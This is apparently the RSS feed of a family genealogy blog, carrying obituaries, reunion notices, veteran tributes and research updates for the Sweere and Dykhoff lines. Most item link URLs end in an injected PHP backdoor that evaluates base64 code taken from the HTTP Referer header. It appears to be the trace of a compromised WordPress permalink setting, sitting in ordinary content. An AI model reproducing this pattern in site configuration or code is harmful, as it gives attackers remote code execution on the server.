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	<title>A Book of Generations</title>
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	<description>Sweere, Dykhoff, Richart, Duren and collateral lineages</description>
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		<title>Jack Sweere</title>
		<description><![CDATA[Sweere, John J. &#8220;Jack&#8221;
John J. &#8220;Jack&#8221; Sweere, 77, Hilbert, died on Friday, May 22, 2009, at Calumet Medical Center in Chilton. He was born Aug. 19, 1931, in the Town of Blufton, son of the late John and Margaret (Dykhoff) Sweere. Jack served his country in the United States Air Force during the Korean War [...]]]></description>
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		<title>New Site Design</title>
		<description><![CDATA[I haven&#8217;t written here since 2007 and I apologize to everyone who dropped in to find me on extended vacation.
In the meantime, I moved to California in August 2007 the day after my son left for basic training&#8230;he enlisted USArmy. I stayed there until October 2008 when I moved again to Fort Worth, Texas. I&#8217;m [...]]]></description>
		<link>http://www.sweere.org/2009/01/27/new-site-design/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Looking Back&#8230;</title>
		<description><![CDATA[Fifty-five years ago&#8230;

Source: Looking Back, Chilton Times-Journal, May 9, 2002, page 13
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		<link>http://www.sweere.org/2007/04/12/looking-back/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Honoring Our Veterans</title>
		<description><![CDATA[People sleep peaceably
in their beds at night
only because rough men stand ready
to do violence on their behalf.
~George Orwell

Veterans Day
World War I ended with the armistice, which went into effect on the eleventh hour of the eleventh day of the eleventh month in 1918.
November 11 then became known as Armistice Day, first recognized as an official [...]]]></description>
		<link>http://www.sweere.org/2006/11/11/honoring-our-veterans/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Our Newest Angel</title>
		<description><![CDATA[Word from a proud aunt, Annemieke tells us that the Sweere family has expanded to Russia&#8230;
The Sweere Clan welcomes our newest angel, Lukas Daniel Sweere, born 4 September 2006 in Moscow, Russia to Michael Johan Gerard Sweere and Natalia Fedyushina.
Grampa Hans sent a picture:

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		<title>Sweere Progress</title>
		<description><![CDATA[I received an email this month from Hans Sweere, who is the grandson of Gerardus Sweere, b. 1870 and Hendrica de Groot. This is an exciting event because Gerardus is the oldest brother of our founding American patriarchs, Theodorus and Hendrickus Sweere by their father&#8217;s first marriage to Henrika Arts.
In the information I received from [...]]]></description>
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		<title>Grand Army of the Republic: Mathias Godfried Leimkeuhler</title>
		<description><![CDATA[Mathias Leimkuhler arrived from Prussia in New York on December of 1856 with Wilhelm Duren via the ship Constitution.
Together, the two men traveled to Cazenovia in south central Wisconsin, where they carved out their homes and raised big families in Westford Township along the banks of the Little Baraboo River in Richland County.
In 1864, Mathias [...]]]></description>
		<link>http://www.sweere.org/2006/08/11/grand-army-of-the-republic-mathias-godfried-leimkeuhler/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Myrtle at Rest</title>
		<description><![CDATA[On Saturday, July 15, 2006 Myrtle (Schmidt) Sweere was honored by a Mass at Sacred Heart Catholic Church in Carrington, North Dakota. A flower arrangement of pink carnations, red roses, and purple filler was ordered.  At the gravesite each daughter released a pink balloon and lay a red rose on the gravesite.
Myrtle&#8217;s ashes were [...]]]></description>
		<link>http://www.sweere.org/2006/07/22/45/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Dykhoff Family Reunion</title>
		<description><![CDATA[The descendents of Frank and Pauline (van Steenvoort) Dykhoff will host a family reunion July 1st and 2nd, 2006 in Aberdeen, South Dakota.
Frank is the third oldest  child of Gerardus and Johanna (Ploegmakers) Dijkhoff, whose family immigrated to the United States from Lithoijen, Noord Brabant, Netherlands in 1908.

All Dykhoff descendents are invited. Several events [...]]]></description>
		<link>http://www.sweere.org/2006/04/30/dykhoff-family-reunion/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Top Ten Longest Lived</title>
		<description><![CDATA[Running reports and documenting sources.
I found time to scrutinize the Database Statistics today and inspected the info it was drawing on for the Top Ten &#8220;Longest Lived&#8221; individuals. I knew there were inconsistencies and looked at those briefly several times in the past few months, but it was a low priority task. Today I found [...]]]></description>
		<link>http://www.sweere.org/2006/04/25/top-ten-longest-lived/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>An American Hero</title>
		<description><![CDATA[You Will Never Be Forgotten&#8230;


Charles George Rutten
3 February 1917 &#8211; 26 February 2006
Awarded the Bronze Star for his courage with
7th Division, Company H, 32nd Infantry
in four WWII battles against Japanese forces:
Attu, Kwajalien, Leyte and Okinawa.
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		<link>http://www.sweere.org/2006/03/27/an-american-hero/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>No Rest for the Wicked&#8230;</title>
		<description><![CDATA[Well, cousins, spring is upon us and  I actually saw the first fat robin 3 weeks ago. Work continues behind the scenes on both direct and collateral lines. The second week of this month I spent an entire day cleaning up stray import source notes&#8230;5000+ of those little buggers were annihilated in one sitting. [...]]]></description>
		<link>http://www.sweere.org/2006/03/16/no-rest-for-the-wicked/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Blast from the Past</title>
		<description><![CDATA[I found an image of Theodorus&#8217; WW1 Draft Registration Card. Here&#8217;s what his signature looks like:
Pretty cool, eh?ex animo ~J
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		<link>http://www.sweere.org/2006/02/26/blast-from-the-past/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>New Visitor?</title>
		<description><![CDATA[I noticed there are a lot of new visitors to the website. I&#8217;m averaging 45 page views per day now. The odd thing is that these are page views for living individuals.
If you haven&#8217;t been to the website before, please take a moment to read the Privacy Policy. Also, if you believe you are part [...]]]></description>
		<link>http://www.sweere.org/2006/02/23/new-visitor/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Hofland Additions</title>
		<description><![CDATA[99 new individuals have been added to the Adrian Hofland line, including several ancestor records from Noord-Hollands Archief that I didn&#8217;t have previously. Many new birth, marriage and death records were also added for exising individuals of that line, but I didn&#8217;t keep track as I updated those.
One interesting observation I made as I was [...]]]></description>
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		<title>Plugging Along</title>
		<description><![CDATA[There are 6,288 individuals in the database as of this moment. If you visited the website between last Friday and this morning you may have noticed the server down or a problem with page loading. There were 3 intermittent server problems that I noticed, and behind the scenes I had a database table corruption, which [...]]]></description>
		<link>http://www.sweere.org/2006/02/15/plugging-along/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Birth Records</title>
		<description><![CDATA[142 birth records were added this week from the Minnesota Department of Health&#8217;s Minnesota Birth Index, 1935-2002. Of those, approximately 20 were pre-existing. 21 birth records were added from the California Department of Health&#8217;s California Birth Index, 1905-1995.

16 marriage records were added from the Minnesota Department of Health&#8217;s Minnesota Marriages Index, 1997-2001.  21 marriage [...]]]></description>
		<link>http://www.sweere.org/2006/02/11/birth-records/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Tidbits</title>
		<description><![CDATA[I had always thought Grace (Sweere) Ridderink&#8217;s birth name was Gerarda Maria. I&#8217;m not even sure now where I got that information. I found her birth record in the Civil Archives this morning. It turns out that her birth name is actually Gradina Maria.  I&#8217;ve not seen this name before, in all  the [...]]]></description>
		<link>http://www.sweere.org/2006/01/29/tidbits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>The Jacobus Mystery</title>
		<description><![CDATA[When I first began researching the Sweere line back in 1998 I had a small file fom my brother, Mark, to follow leads on. He had this information from another Sweere in the Netherlands whom he made contact with. There were no sources included with this file.
I spent about a year dabbling with US-Sweere data [...]]]></description>
		<link>http://www.sweere.org/2006/01/28/one-mystery-solved/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<title>Method to the Madness</title>
		<description><![CDATA[Gerald Martin Sweere, 76, died Jan. 12, 2006, at Merit Care Hospital in Fargo, N.D. He was born Oct. 9, 1929, in Otter Tail County to Harry and Julia (DeBruyn) Sweere.
My deepest condolences go out to the family of Gerald. Expect to see his obituary posted here soon.
I found a few hours each day this [...]]]></description>
		<link>http://www.sweere.org/2006/01/26/method-to-the-madness/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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